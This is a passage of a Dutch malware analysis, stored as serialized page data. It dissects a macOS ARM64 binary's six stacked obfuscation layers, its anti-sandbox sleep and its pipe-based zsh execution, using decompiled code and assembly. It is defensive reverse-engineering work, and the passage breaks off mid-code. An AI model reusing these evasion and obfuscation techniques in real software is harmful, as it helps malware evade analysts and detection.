add x9,x9,x10, LSL #0x2  ; compute target address\n10009f43c:  br x9                    ; indirect branch, CFG broken here\n","asm",[555,1147,1148,1153,1158,1163,1168,1174,1180,1186,1192,1198],{"__ignoreMap":585},[622,1149,1150],{"class":624,"line":625},[622,1151,1152],{},"10009f3fc:  stp xzr,xzr,[sp, #0x48]\n",[622,1154,1155],{"class":624,"line":631},[622,1156,1157],{},"10009f41c:  mov w0,#0x37e\n",[622,1159,1160],{"class":624,"line":849},[622,1161,1162],{},"10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n",[622,1164,1165],{"class":624,"line":866},[622,1166,1167],{},"10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n",[622,1169,1171],{"class":624,"line":1170},5,[622,1172,1173],{},"10009f428:  b.hi 0x10009fd44         ; exit if done\n",[622,1175,1177],{"class":624,"line":1176},6,[622,1178,1179],{},"10009f42c:  mov w8,w25               ; current state index\n",[622,1181,1183],{"class":624,"line":1182},7,[622,1184,1185],{},"10009f430:  adr x9,0x10009f440       ; base of jump table\n",[622,1187,1189],{"class":624,"line":1188},8,[622,1190,1191],{},"10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n",[622,1193,1195],{"class":624,"line":1194},9,[622,1196,1197],{},"10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n",[622,1199,1201],{"class":624,"line":1200},10,[622,1202,1203],{},"10009f43c:  br x9                    ; indirect branch, CFG broken here\n",[562,1205,1207],{"id":1206},"zes-gestapelde-obfuscatielagen","Zes gestapelde obfuscatielagen",[528,1209,568],{},[528,1211,1212,1213,1216],{},"De binary gebruikt zes verschillende obfuscatielagen, gestapeld en aan elkaar geketend, zodat de output van elke laag in de volgende wordt gevoerd. Elke payload, elke string, elke interne constante is gecodeerd. In het ",[555,1214,1215],{},"__const","-segment staat niets zinvols in plaintext. Wat volgt is een volledige laag-voor-laag-uiteenzetting, direct in Ghidra geverifieerd, tot op het niveau van afzonderlijke ARM64-instructies. Elk van de gebruikte technieken is op zichzelf bekend; hun geketende toepassing over meerdere fasen creëerde echter een sterk onderling afhankelijke uitvoeringsflow, die de statische en dynamische analyse aanzienlijk bemoeilijkte.",[538,1218],{},[706,1220,1222],{"id":1221},"layer-1-compile-time-triplet-codering","Layer 1: compile-time triplet-codering",[528,1224,712],{},[528,1226,1227,1228,1231],{},"Geen enkele string in de binary is als tekenreeks opgeslagen, maar als reeks van arithmetische triplets van 12 byte. Elk triplet ",[555,1229,1230],{},"(a, b, shift)"," codeert precies één outputkarakter. Het coderingsschema wordt tijdens het compileren toegepast, zodat geen enkele string ooit als plaintext in de binary bestaat, zelfs niet tijdelijk bij het laden.",[528,1233,1234,1235,1238,1239,1242,1243,1246,1247,1238,1250,1253,1254,1257],{},"Twee afzonderlijke decoderfuncties behandelen verschillende stringgroottes. ",[555,1236,1237],{},"FUN_100087c08"," op ",[555,1240,1241],{},"0x100087c08"," decodeert strings van 60 tekens (720 byte inputdata uit ",[555,1244,1245],{},"DAT_1006292cc","). ",[555,1248,1249],{},"FUN_10007ad80",[555,1251,1252],{},"0x10007ad80"," decodeert strings van 56 tekens (672 byte uit ",[555,1255,1256],{},"DAT_10049708c","). Beide gebruiken hetzelfde algoritme.",[573,1259,1260],{"style":575},[1044,1261,1262,1265,1267,1270,1060,1272,1065,1274,1277,1278,1280,1281,1283,1284,1286,1287,1290,1291],{},[622,1263,1264],{"style":1048},"// FUN_100087c08 @ 0x100087c08",[1051,1266],{},[622,1268,1269],{"style":1048},"// Triplet decoder, 60 chars, data from DAT_1006292cc",[622,1271,1059],{"style":1058},[622,1273,1237],{"style":1063},[622,1275,1276],{"style":1058},"long"," *param_1)\n{\n  ",[622,1279,1276],{"style":1058}," *plVar1;\n  ",[622,1282,1059],{"style":1058}," *pvVar2;\n  ",[622,1285,1276],{"style":1058}," lVar3;\n  ",[622,1288,1289],{"style":1058},"uint"," *puVar4;\n",[528,1292,1293,1294,1065,1297,1300,1301,1306,1309,1310,1300,1312,1315,1317,1320,1321,1324,1325,1300,1328,1331,1332,1334,1335,1098,1337,1339,1340,1343,1344,1347,1348,1350,1351,1354,1355,1358,1359,1098,1362,1364,1365,1368,1369,1372,1374,1377,1378,1098,1380,1382,1383,1385,1386,1388,1389,1394,1395,1398,1399,1404,1405,1408,1409,1411,1412,1417,1418,1420,1421,1423,1424,1427,1428,1431,1432,1300,1434,1437,1439,1442,1443,1114],{},"pvVar2 = ",[622,1295,1296],{"style":1063},"operator_new",[622,1298,1299],{"style":1084},"0x2d0","); ",[622,1302,1303,1304],{"style":1048},"// allocate 720 bytes (60 triplets × 12)",[1051,1305],{},[622,1307,1308],{"style":1063},"_memcpy","(pvVar2, &DAT_1006292cc, ",[622,1311,1299],{"style":1084},[622,1313,1314],{"style":1048},"// copy encoded triplets from __const",[1051,1316],{},[622,1318,1319],{"style":1063},"FUN_1000a0840","(param_1, ",[622,1322,1323],{"style":1084},"0x3c",", ",[622,1326,1327],{"style":1084},"0",[622,1329,1330],{"style":1048},"// init 60-char output buffer","\nlVar3 = ",[622,1333,1327],{"style":1084},";\npuVar4 = (",[622,1336,1289],{"style":1058},[622,1338,1276],{"style":1058},")pvVar2 + ",[622,1341,1342],{"style":1084},"8",");\n",[622,1345,1346],{"style":1058},"do"," {\nplVar1 = (",[622,1349,1276],{"style":1058}," _)_param_1;\n",[622,1352,1353],{"style":1058},"if"," (-",[622,1356,1357],{"style":1084},"1"," \u003C _(",[622,1360,1361],{"style":1058},"char",[622,1363,1276],{"style":1058},")param_1 + ",[622,1366,1367],{"style":1084},"0x17",")) {\nplVar1 = param_1;\n}\n",[622,1370,1371],{"style":1048},"// THE DECODE FORMULA, one character per triplet:",[1051,1373],{},[622,1375,1376],{"style":1048},"// char = ((b _ 3) XOR a) >> shift) - b","\n_(",[622,1379,1361],{"style":1058},[622,1381,1276],{"style":1058},")plVar1 + lVar3) =\n(",[622,1384,1361],{"style":1058},")((",[622,1387,1071],{"style":1058},")(puVar4",[622,1390,1391,1392],{},"-",[622,1393,1357],{"style":1084}," * ",[622,1396,1397],{"style":1084},"3"," ^ puVar4",[622,1400,1391,1401],{},[622,1402,1403],{"style":1084},"2",") >> (*puVar4 & ",[622,1406,1407],{"style":1084},"0x1f",")) - (",[622,1410,1361],{"style":1058},")puVar4",[622,1413,1414],{},[622,1415,1416],{"style":1084},"-1",";\nlVar3 = lVar3 + ",[622,1419,1357],{"style":1084},";\npuVar4 = puVar4 + ",[622,1422,1397],{"style":1084},"; ",[622,1425,1426],{"style":1048},"// advance 12 bytes — next triplet","\n} ",[622,1429,1430],{"style":1058},"while"," (lVar3 != ",[622,1433,1323],{"style":1084},[622,1435,1436],{"style":1048},"// loop exactly 60 times",[1051,1438],{},[622,1440,1441],{"style":1063},"operator_delete","(pvVar2);\n",[622,1444,1113],{"style":1058},[528,1446,1447],{},"De bijbehorende ARM64-assembly, waarbij elke instructie direct overeenkomt met een operatie in de formule:",[573,1449,1450],{"style":575},[577,1451,1454],{"className":1452,"code":1453,"language":582},[580],"100087c48:  add x9,x20,#0x8\n100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11\n100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b \u003C\u003C 1) = b * 3\n                                       ; (compiler avoids MUL instruction)\n100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a\n100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12\n100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved\n100087c60:  sub w10,w10,w11           ; subtract b — final decoded character\n100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer\n100087c78:  add x8,x8,#0x1\n100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60\n100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded\n",[555,1455,1453],{"__ignoreMap":585},[528,1457,1458,1459,1462,1463,1466],{},"Opmerkelijk: de multiplicatie ",[555,1460,1461],{},"b × 3"," is geïmplementeerd als ",[555,1464,1465],{},"add w12, w11, w11, LSL #1",", een shift-and-add die een multiplicatie-instructie volledig vermijdt. Dat is een klassieke compileroptimalisatie die de code tegelijk moeilijker vindbaar maakt via signature matching.",[528,1468,1469],{},"De volledige decoderingsformule:",[573,1471,1472],{"style":575},[577,1473,1476],{"className":1474,"code":1475,"language":582},[580],"char = ASR( (b × 3) XOR a, shift ) − b\n",[555,1477,1475],{"__ignoreMap":585},[528,1479,919,1480,1483,1484,1487,1488,1491],{},[555,1481,1482],{},"ASR"," (Arithmetic Shift Right) is beslissend: die behoudt het tekenbit. Als het tussenresultaat van ",[555,1485,1486],{},"(b×3) XOR a"," negatief is, wat vaak voorkomt, zou een logische shift een volstrekt ander resultaat opleveren. Dat is met opzet: wie de formule in een hogere programmeertaal met ",[555,1489,1490],{},">>"," opnieuw implementeert, krijgt stilzwijgend verkeerde output, tenzij de signed arithmetiek expliciet wordt meegenomen.",[528,1493,1494,1495,1497,1498,1500,1501,1504],{},"De 56-tekenvariant ",[555,1496,1249],{}," is structureel identiek, werkt op ",[555,1499,1256],{}," met een looplimiet van ",[555,1502,1503],{},"0x38",". Beide functies zijn tijdens deze analyse live in Ghidra bevestigd.",[538,1506],{},[706,1508,1510],{"id":1509},"layer-2-hex-stringcodering","Layer 2: hex-stringcodering",[528,1512,712],{},[528,1514,1515,1516,1519,1520,1238,1523,1526,1527,1530],{},"De ruwe bytes die layer 1 produceert, zijn zelf ASCII-hextekens, geen binaire data. De output van een layer 1-tripletdecode is een string van hexparen: ",[555,1517,1518],{},"32694e5462...",". Dat wordt bevestigd door de decoderfunctie ",[555,1521,1522],{},"FUN_100000dc0",[555,1524,1525],{},"0x100000dc0",", die een hexdecode implementeert via een lookup-tabel op ",[555,1528,1529],{},"DAT_1007bb591",".",[528,1532,1533,1534,1391,1537,1324,1540,1391,1543,1324,1546,1391,1549,1552],{},"De Ghidra-decompile toont een switch-statement dat elk hexteken (",[555,1535,1536],{},"0x30",[555,1538,1539],{},"0x39",[555,1541,1542],{},"0x41",[555,1544,1545],{},"0x46",[555,1547,1548],{},"0x61",[555,1550,1551],{},"0x66",") op zijn nibblewaarde mapt en outputbytes telkens twee tekens per keer samenstelt:",[573,1554,1555],{"style":575},[1044,1556,1557,1560,1563,1566,1567,1570,1571,1573,1574,1060,1577,1579,1580,1583,1584,940,1587,1060,1589,1592,1593,1423,1596,1598,1599,940,1602,1060,1604,1592,1607,1423,1610,1598,1612,940,1615,940,1618,1060,1620,1579,1622,1060,1624,1592,1626,1423,1629,1631,1632,940,1635,1060,1637,1579,1640,1060,1642,1592,1645,1423,1648,1631,1650,940,1653,1060,1655,1579,1658,1060,1660,1663,1664,1423,1667,1631,1669,940,1672,1060,1674,1579,1677,1060,1679,1682,1683,1423,1686,1631,1688,940,1691,1060,1693,1579,1696,1060,1698,1592,1701,1423,1704,1631,1706,940,1709,1060,1711,1579,1713,1060,1715,1592,1717,1423,1720,1631,1722,1725,1726,1729,1730,1570,1733,1735,1736,1738,1739,1742],{},[622,1558,1559],{"style":1048},"// FUN_100000dc0 @ 0x100000dc0",[622,1561,1562],{"style":1048},"// Hex decoder, processes input two characters per output byte",[622,1564,1565],{"style":1058},"switch","(*(",[622,1568,1569],{"style":1058},"undefined1"," *)((",[622,1572,1276],{"style":1058},")plVar2 + lVar7)) {\n  ",[622,1575,1576],{"style":1058},"case",[622,1578,1536],{"style":1084},": ",[622,1581,1582],{"style":1058},"break",";                  ",[622,1585,1586],{"style":1048},"// '0' → 0x00",[622,1588,1576],{"style":1058},[622,1590,1591],{"style":1084},"0x31",": bVar9 = ",[622,1594,1595],{"style":1084},"0x10",[622,1597,1582],{"style":1058},";   ",[622,1600,1601],{"style":1048},"// '1' → 0x10",[622,1603,1576],{"style":1058},[622,1605,1606],{"style":1084},"0x32",[622,1608,1609],{"style":1084},"0x20",[622,1611,1582],{"style":1058},[622,1613,1614],{"style":1048},"// '2' → 0x20",[622,1616,1617],{"style":1048},"// ... '3' through '9' ...",[622,1619,1576],{"style":1058},[622,1621,1542],{"style":1084},[622,1623,1576],{"style":1058},[622,1625,1548],{"style":1084},[622,1627,1628],{"style":1084},"0xa0",[622,1630,1582],{"style":1058},";  ",[622,1633,1634],{"style":1048},"// 'A'/'a' → 0xa0",[622,1636,1576],{"style":1058},[622,1638,1639],{"style":1084},"0x42",[622,1641,1576],{"style":1058},[622,1643,1644],{"style":1084},"0x62",[622,1646,1647],{"style":1084},"0xb0",[622,1649,1582],{"style":1058},[622,1651,1652],{"style":1048},"// 'B'/'b' → 0xb0",[622,1654,1576],{"style":1058},[622,1656,1657],{"style":1084},"0x43",[622,1659,1576],{"style":1058},[622,1661,1662],{"style":1084},"99",":   bVar9 = ",[622,1665,1666],{"style":1084},"0xc0",[622,1668,1582],{"style":1058},[622,1670,1671],{"style":1048},"// 'C'/'c' → 0xc0",[622,1673,1576],{"style":1058},[622,1675,1676],{"style":1084},"0x44",[622,1678,1576],{"style":1058},[622,1680,1681],{"style":1084},"100",":  bVar9 = ",[622,1684,1685],{"style":1084},"0xd0",[622,1687,1582],{"style":1058},[622,1689,1690],{"style":1048},"// 'D'/'d' → 0xd0",[622,1692,1576],{"style":1058},[622,1694,1695],{"style":1084},"0x45",[622,1697,1576],{"style":1058},[622,1699,1700],{"style":1084},"0x65",[622,1702,1703],{"style":1084},"0xe0",[622,1705,1582],{"style":1058},[622,1707,1708],{"style":1048},"// 'E'/'e' → 0xe0",[622,1710,1576],{"style":1058},[622,1712,1545],{"style":1084},[622,1714,1576],{"style":1058},[622,1716,1551],{"style":1084},[622,1718,1719],{"style":1084},"0xf0",[622,1721,1582],{"style":1058},[622,1723,1724],{"style":1048},"// 'F'/'f' → 0xf0","\n}\n",[622,1727,1728],{"style":1048},"// Second nibble from lookup table at DAT_1007bb591","\n*(",[622,1731,1732],{"style":1058},"byte",[622,1734,1276],{"style":1058},")pppppppuVar3 + uVar8) =\n    (&DAT_1007bb591)[(",[622,1737,1101],{"style":1058},")uVar4 & ",[622,1740,1741],{"style":1084},"0xff","] | bVar9;\n",[528,1744,1745],{},"De ARM64-assembly drijft dit aan met een secundaire computed-branch-tabel en implementeert daarmee feitelijk een jump table met 55 entries voor de switch:",[573,1747,1748],{"style":575},[577,1749,1752],{"className":1750,"code":1751,"language":582},[580],"100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table\n100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char\n100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address\n100000e68:  br x17                   ; jump — second computed branch in 24 bytes\n",[555,1753,1751],{"__ignoreMap":585},[528,1755,1756],{},"Twee berekende branches in een venster van 24 byte. Statische analysetools komen met dit patroon niet uit de voeten, omdat beide branchdoelen op analysetijd onbekend zijn.",[528,1758,1759],{},"Een hexstring van 137.208 tekens levert na de decodering 68.604 byte op, die vervolgens in layer 3 worden gevoerd.",[538,1761],{},[706,1763,1765],{"id":1764},"layer-3-eigen-nibble-alfabet-met-16-symbolen","Layer 3: eigen nibble-alfabet met 16 symbolen",[528,1767,712],{},[528,1769,1770],{},"De 68.604 outputbytes uit layer 2 gebruiken slechts 16 unieke bytewaarden uit twee niet-aaneengesloten ASCII-bereiken:",[1772,1773,1774,1823],"ul",{},[1775,1776,1777,1780,1781,1324,1784,1324,1787,1324,1790,1324,1793,1324,1796,1324,1799,1324,1802,1324,1804,1324,1807,1324,1810,1324,1813,1324,1816,1324,1818,1324,1820],"li",{},[555,1778,1779],{},"0x20-0x2F",": spatie, ",[555,1782,1783],{},"!",[555,1785,1786],{},"\"",[555,1788,1789],{},"#",[555,1791,1792],{},"$",[555,1794,1795],{},"%",[555,1797,1798],{},"&",[555,1800,1801],{},"'",[555,1803,1065],{},[555,1805,1806],{},")",[555,1808,1809],{},"*",[555,1811,1812],{},"+",[555,1814,1815],{},",",[555,1817,1391],{},[555,1819,1530],{},[555,1821,1822],{},"/",[1775,1824,1825,1579,1828,1324,1831,1324,1834,1324,1837,1324,1840,1324,1843,1324,1846,1849],{},[555,1826,1827],{},"0x78-0x7F",[555,1829,1830],{},"x",[555,1832,1833],{},"y",[555,1835,1836],{},"z",[555,1838,1839],{},"{",[555,1841,1842],{},"|",[555,1844,1845],{},"}",[555,1847,1848],{},"~",", DEL",[528,1851,1852],{},"Dat is een bewuste ontwerpkeuze. In een hex editor lijken deze bytes op spaties, interpunctie en ASCII-randtekens; ze verdwijnen in de ruis van wat op metadata of padding lijkt. Een analist die een hexdump doorneemt, zal deze bytebereiken niet als verdacht markeren, en standaard entropie-analyses onderschatten de effectieve entropie, omdat de byteverdeling niet willekeurig lijkt.",[528,1854,1855,1856,1859,1860,1863,1864,1867,1868,1871],{},"Elke byte uit dit alfabet codeert één nibble van de eigenlijke payload. De toewijzing van alfabet naar nibble wordt toegepast door de encode-/decodefunctie ",[555,1857,1858],{},"FUN_100000d60",", die we op ",[555,1861,1862],{},"0x100000d60"," hebben bevestigd. Die schakelt twee subfuncties aan elkaar: ",[555,1865,1866],{},"FUN_100000b50"," maakt een geïndexeerde map van de tekens uit de inputstring, en ",[555,1869,1870],{},"FUN_100000c34"," loopt door die map, verbruikt 6 bit per stap en accumuleert outputbytes van 8 bit per keer:",[573,1873,1874],{"style":575},[1044,1875,1876,1879,1880,1882,1883,1885,1886,1888,1889,1892,1893,940,1896,1898,1899,1901,1902,944,1905,1907,1908,1911,1912,1914,1915,944,1918,1920,1921,1924,1925,1928,1929,1931,1932,1935,1936,1938,1939,1570,1942,1944,1945,1947,1948,1950],{},[622,1877,1878],{"style":1048},"// FUN_100000c34 @ 0x100000c34, nibble accumulator","\niVar5 = ",[622,1881,1327],{"style":1084},";\n",[622,1884,1346],{"style":1058}," {\n  local_52 = *(",[622,1887,1569],{"style":1058}," *)puVar4;\n  lVar3 = ",[622,1890,1891],{"style":1063},"FUN_1000a078c","(param_3, &local_52);  ",[622,1894,1895],{"style":1048},"// look up nibble value",[622,1897,1353],{"style":1058}," (lVar3 == ",[622,1900,1327],{"style":1084},") {\n    ",[622,1903,1904],{"style":1048},"// character not in alphabet, treat as raw",[622,1906,1891],{"style":1063},"(param_3, &local_51);\n  } ",[622,1909,1910],{"style":1058},"else"," {\n    iVar5 = iVar5 + ",[622,1913,1105],{"style":1084},";           ",[622,1916,1917],{"style":1048},"// accumulate 4 bits",[622,1919,1430],{"style":1058}," (",[622,1922,1923],{"style":1084},"7"," \u003C iVar5) {\n      std::string::",[622,1926,1927],{"style":1063},"push_back","((",[622,1930,1361],{"style":1058},")param_1);  ",[622,1933,1934],{"style":1048},"// emit byte when 8+ bits ready","\n      iVar5 = iVar5 + -",[622,1937,1342],{"style":1084},";\n    }\n  }\n  puVar4 = (",[622,1940,1941],{"style":1058},"undefined8",[622,1943,1276],{"style":1058},")puVar4 + ",[622,1946,1357],{"style":1084},");\n} ",[622,1949,1430],{"style":1058}," (puVar4 != puVar1);\n",[528,1952,1953],{},"De 34.302 byte die uit deze doorloop komen, zijn voor 99,7% printbare ASCII. Op de eerste vluchtige blik lijkt de payload in dit stadium op een groot shellscript of een configuratieblob.",[538,1955],{},[706,1957,1959],{"id":1958},"layer-4-compile-time-stringobfuscatie","Layer 4: compile-time stringobfuscatie",[528,1961,712],{},[528,1963,1964],{},"Intern gebruikte strings worden tijdens het compileren met hetzelfde tripletschema als in layer 1 geobfusceerd en tijdens runtime pas onmiddellijk voor gebruik gereconstrueerd. In het geheugen blijven ze nooit langer dan nodig; de buffer wordt na verbruik direct vrijgegeven. In de statische datasecties van de binary is op geen enkel moment een gedecodeerde string zichtbaar.",[528,1966,1967,1968,1971],{},"De stringhashfunctie ",[555,1969,1970],{},"FUN_100000730"," levert een secundaire obfuscatielaag voor stringvergelijkingen. In plaats van strings direct te vergelijken, wat plaintext in het geheugen zou achterlaten, berekent en vergelijkt de binary integer-hashes:",[573,1973,1974],{"style":575},[1044,1975,1976,1979,1982,1060,1984,1065,1986,1277,1988,1990,1991,1994,1995,940,1998,940,2001,2004,2005,2007,2008,2010,2011,2013,2014,1631,2017,2020,2021,2023,2024,2026],{},[622,1977,1978],{"style":1048},"// FUN_100000730 @ 0x100000730",[622,1980,1981],{"style":1048},"// FNV-style string hash, avoids plaintext string comparisons",[622,1983,1071],{"style":1058},[622,1985,1970],{"style":1063},[622,1987,1361],{"style":1058},[622,1989,1071],{"style":1058}," iVar4 = ",[622,1992,1993],{"style":1084},"0x19a8",";    ",[622,1996,1997],{"style":1048},"// FNV offset basis (modified)",[622,1999,2000],{"style":1048},"// ...",[622,2002,2003],{"style":1058},"for"," (; uVar3 != ",[622,2006,1327],{"style":1084},"; uVar3 = uVar3 - ",[622,2009,1357],{"style":1084},") {\n    iVar4 = (",[622,2012,1071],{"style":1058},")*pcVar1 + iVar4 * -",[622,2015,2016],{"style":1084},"0x7fb91be3",[622,2018,2019],{"style":1048},"// FNV-1a style multiply","\n    pcVar1 = pcVar1 + ",[622,2022,1357],{"style":1084},";\n  }\n  ",[622,2025,1113],{"style":1058}," iVar4;\n}\n",[528,2028,2029],{},"De ARM64-assembly vervangt de multiplicatie door een fused multiply-add:",[573,2031,2032],{"style":575},[577,2033,2036],{"className":2034,"code":2035,"language":582},[580],"100000744:  mov w0,#0x19a8            ; FNV basis\n100000750:  mov w10,#0xe41d\n100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3\n100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment\n10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char\n100000760:  subs x9,x9,#0x1\n100000764:  b.ne 0x100000758\n",[555,2037,2035],{"__ignoreMap":585},[528,2039,2040],{},"Dat betekent dat zelfs een vergelijking van twee strings binnen de binary geen branch oplevert die een debugger netjes op stringniveau kan onderscheppen, alleen op hashniveau.",[538,2042],{},[706,2044,2046],{"id":2045},"layer-5-dubbele-custom-stream-cipher-instanties","Layer 5: dubbele custom-stream-cipher-instanties",[528,2048,712],{},[528,2050,2051,2052,2055],{},"Op dit punt wordt de obfuscatiearchitectuur ongewoon. In de binary lopen niet één, maar ",[771,2053,2054],{},"twee afzonderlijke cipher-instanties",", elk met een andere hardcoded lookup-tabel en een andere startteller. Beide gebruiken dezelfde algoritmestructuur, maar produceren verschillende outputalfabetten voor verschillende delen van de payloadpipeline.",[528,2057,2058,1324,2061,1238,2064,2067],{},[771,2059,2060],{},"Instantie A",[555,2062,2063],{},"FUN_10007ab34",[555,2065,2066],{},"0x10007ab34",":",[573,2069,2070],{"style":575},[1044,2071,2072,2075,2076,1882,2079,2081,2082,1570,2084,2086,2087,2089,2090,1570,2092,2094,2095,2097,2098,1570,2100,2102,2103,2105,2106,2109,2110,2112,2113,2115],{},[622,2073,2074],{"style":1048},"// Instance A, start counter 0x4c, table @ 0x100496f8b","\nuVar6 = ",[622,2077,2078],{"style":1084},"0x4c",[622,2080,1346],{"style":1058}," {\n  bVar2 = *(",[622,2083,1732],{"style":1058},[622,2085,1276],{"style":1058},")local_e0 +\n          ((",[622,2088,1101],{"style":1058},")(*(",[622,2091,1732],{"style":1058},[622,2093,1276],{"style":1058},")local_c8 + uVar5) ^ uVar6) & ",[622,2096,1741],{"style":1084},"));\n  *(",[622,2099,1732],{"style":1058},[622,2101,1276],{"style":1058},")plVar1 + uVar5) = bVar2;\n  uVar6 = (",[622,2104,1071],{"style":1058},")uVar5 + (uVar6 ^ bVar2);  ",[622,2107,2108],{"style":1048},"// counter: i + (counter XOR output)","\n  uVar5 = uVar5 + ",[622,2111,1357],{"style":1084},";\n} ",[622,2114,1430],{"style":1058}," (uVar7 != uVar5);\n",[528,2117,2118,1324,2121,1238,2124,2067],{},[771,2119,2120],{},"Instantie B",[555,2122,2123],{},"FUN_10007a7e0",[555,2125,2126],{},"0x10007a7e0",[573,2128,2129],{"style":575},[1044,2130,2131,2075,2134,1882,2137,2081,2139,1570,2141,2143,2144,2089,2146,1570,2148,2150,2151,2097,2153,1570,2155,2102,2157,2105,2159,2109,2162,2112,2164,2115],{},[622,2132,2133],{"style":1048},"// Instance B, start counter 0x9f, different table @ 0x100496e0a region",[622,2135,2136],{"style":1084},"0x9f",[622,2138,1346],{"style":1058},[622,2140,1732],{"style":1058},[622,2142,1276],{"style":1058},")local_c0 +\n          ((",[622,2145,1101],{"style":1058},[622,2147,1732],{"style":1058},[622,2149,1276],{"style":1058},")local_a8 + uVar5) ^ uVar6) & ",[622,2152,1741],{"style":1084},[622,2154,1732],{"style":1058},[622,2156,1276],{"style":1058},[622,2158,1071],{"style":1058},[622,2160,2161],{"style":1048},"// identical counter update formula",[622,2163,1357],{"style":1084},[622,2165,1430],{"style":1058},[528,2167,2168,2169,2171,2172,2174],{},"Het algoritme is structureel identiek, maar de startteller verschilt (",[555,2170,2078],{}," versus ",[555,2173,2136],{},") en de lookup-tabellen staan op verschillende geheugenadressen. Instantie A wordt aangeroepen uit toestand 11 van de state machine om het coderingsalfabet voor het eerste payloadpad te genereren. Instantie B wordt aangeroepen uit toestand 6 om het alfabet voor de decode van de grote shellscript-payload te genereren.",[528,2176,2177,2178,2181,2182,2185,2186,2189],{},"Preciezer gezegd: het gaat om een ",[771,2179,2180],{},"substitutiecijfer met een tellerafhankelijke index",". Elke outputbyte is een tabel-lookup waarbij de index ",[555,2183,2184],{},"(input_byte XOR counter) & 0xFF"," is. De teller werkt zichzelf na elke byte bij als ",[555,2187,2188],{},"counter = (i + (counter XOR output)) & 0xFF",", wat betekent dat elke outputbyte de bepaling van de volgende lookup-index beïnvloedt. Dat levert een afhankelijkheidsketen over de hele outputsequentie op: byte N valt niet te ontsleutelen zonder de bytes 0 tot N-1 correct te hebben ontsleuteld. Partiële decryptie of foutanalyse wordt daardoor aanzienlijk moeilijker.",[528,2191,2192],{},"Geen van beide instanties is standaard RC4. Er is geen S-box-initialisatiefase, geen S-box-swapoperatie. De lookup-tabellen zijn statische, tijdens het compileren ingebedde constanten.",[538,2194],{},[706,2196,2198],{"id":2197},"layer-6-runtime-xor-met-een-sleutel-die-van-de-exit-code-afhangt","Layer 6: runtime-XOR met een sleutel die van de exit code afhangt",[528,2200,712],{},[528,2202,2203,2204,2207],{},"De laatste en analytisch meest veeleisende laag past een in-place XOR-transformatie toe op de stage 2-payload. De XOR-sleutel is niet hardcoded, maar wordt tijdens runtime afgeleid uit de exit code van de ",[771,2205,2206],{},"eerste uitvoering van de shell-payload",", en is daarmee via statische analyse principieel niet te bepalen. De binary moet werkelijk worden uitgevoerd en het eerste shellscript volledig doorlopen voordat de sleutel ook maar bestaat.",[528,2209,2210],{},"De sleutelafleidingssequentie in de ARM64-state-machine-dispatcher:",[573,2212,2213],{"style":575},[577,2214,2217],{"className":2215,"code":2216,"language":582},[580],"; After shell_exec_via_pipe #1 returns, exit code is in w0\n10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status\n10009f83c:  mov w9,#0x7f0             ; multiplier constant\n10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter\n10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24\n",[555,2218,2216],{"__ignoreMap":585},[528,2220,2221],{},"De XOR-loop die de stage 2-payload verwerkt:",[573,2223,2224],{"style":575},[577,2225,2228],{"className":2226,"code":2227,"language":582},[580],"; In-place XOR, every byte of the payload is XORed with w24\n10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte\n10009fc48:  eor w10,w10,w24          ; XOR with key\n10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place\n",[555,2229,2227],{"__ignoreMap":585},[528,2231,2232,2233,2236,2237,2240,2241,2243],{},"De sleutel is een 16-bitwaarde die wordt afgeleid uit de exit-statusbyte van de eerste shell-payload, met ",[555,2234,2235],{},"0x7f0"," wordt gemultipliceerd en bij de actuele waarde van het basistellerregister ",[555,2238,2239],{},"w26"," van de state machine wordt opgeteld. De multiplicatieconstante ",[555,2242,2235],{}," zorgt ervoor dat een verschil van één bit in de exit code een volstrekt andere sleutel oplevert. Er is geen exploiteerbare continuïteit tussen aangrenzende sleutelwaarden.",[528,2245,2246],{},"Zonder de binary in een gecontroleerde omgeving uit te voeren en de exacte exit code van de eerste shell-payload vast te leggen, blijft de stage 2-payload voor statische analyse permanent ondoorzichtig. Dat was de moeilijkste hindernis van de hele analyse.",[538,2248],{},[562,2250,2252],{"id":2251},"shell-uitvoering-pipes-in-plaats-van-argumenten-en-simd-xor","Shell-uitvoering: pipes in plaats van argumenten, en SIMD-XOR",[528,2254,568],{},[528,2256,2257,2258,1238,2261,2264],{},"De shell-uitvoeringsfunctie ",[555,2259,2260],{},"FUN_10000091c",[555,2262,2263],{},"0x10000091c"," is architectonisch de interessantste component van de binary. Hier komt alles samen: de gedecodeerde payload, de geobfusceerde commandonaam en het expliciete anti-forensische ontwerp. Elke ontwerpkeuze in deze functie dient een specifiek evasiedoel.",[706,2266,2268],{"id":2267},"stap-1-de-commandonaam-komt-nooit-in-plaintext-voor","Stap 1: de commandonaam komt nooit in plaintext voor",[528,2270,712],{},[528,2272,2273,2276,2277,2280,2281,2284,2285,2288],{},[555,2274,2275],{},"/bin/zsh"," bestaat nergens in de binary als plaintext. In de ",[555,2278,2279],{},"__cstring","-sectie op ",[555,2282,2283],{},"0x1007bb5c8"," staat de string als geobfusceerde bytes ",[555,2286,2287],{},"\\x01LG@\\x01T]F",". De decodering gebeurt tijdens runtime via een enkele XOR-operatie, direct in de ARM64-assembly te verifiëren:",[573,2290,2291],{"style":575},[577,2292,2295],{"className":2293,"code":2294,"language":582},[580],"; FUN_10000091c — command name decode via SIMD 